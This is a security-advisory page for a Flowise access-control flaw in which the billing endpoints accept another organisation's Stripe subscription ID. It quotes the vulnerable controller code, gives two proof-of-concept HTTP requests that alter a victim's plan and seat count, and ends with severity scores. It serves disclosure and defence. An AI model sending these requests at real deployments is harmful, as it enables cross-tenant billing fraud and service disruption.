Advisory details:
github_osv / GHSA-gmmw-qg98-6j6p
| Advisory ID | github_osv/GHSA-gmmw-qg98-6j6p |
| Aliases |
CVE-2026-70476
|
| Summary | Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation ### Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId. This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption. ### Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context. **File** packages/server/src/enterprise/routes/organization.route.ts Affected routes: ```typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan ``` **File** packages/server/src/enterprise/controllers/organization.controller.ts ```typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body const identityManager = getRunningExpressApp().identityManager const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate ) return res.status(StatusCodes.OK).json(result) } ``` The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer. Missing validation: subscriptionId belongs to req.user.activeOrganization updateAdditionalSeats ```typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body const identityManager = getRunningExpressApp().identityManager const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate ) return res.status(StatusCodes.OK).json(result) } ``` Again, the subscriptionId is taken directly from the request body without verifying ownership. ### PoC Step 1 - Obtain victim subscriptionId This identifier may be obtained via the organization read endpoint or other exposed references. Example: sub_YYYYYYYYYYYY Step 2 - Modify victim subscription ```http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json { "subscriptionId": "sub_YYYYYYYYYYYY", "newPlanId": "free_plan_id", "prorationDate": 1735689600 } ``` Step 3 - Change seat quantity ```http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json { "subscriptionId": "sub_YYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 } ``` ### Impact An authenticated attacker can manipulate the Stripe subscription of other organizations. Possible consequences include: - Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.5 |
| Risk | 3.8 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 8.3 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gmmw-qg98-6j6p/GHSA-gmmw-qg98-6j6p.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-08-05T14:51:05Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/70xxx/CVE-2026-70476.json
Source Advisory: vulnrichment/CVE-2026-70476
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]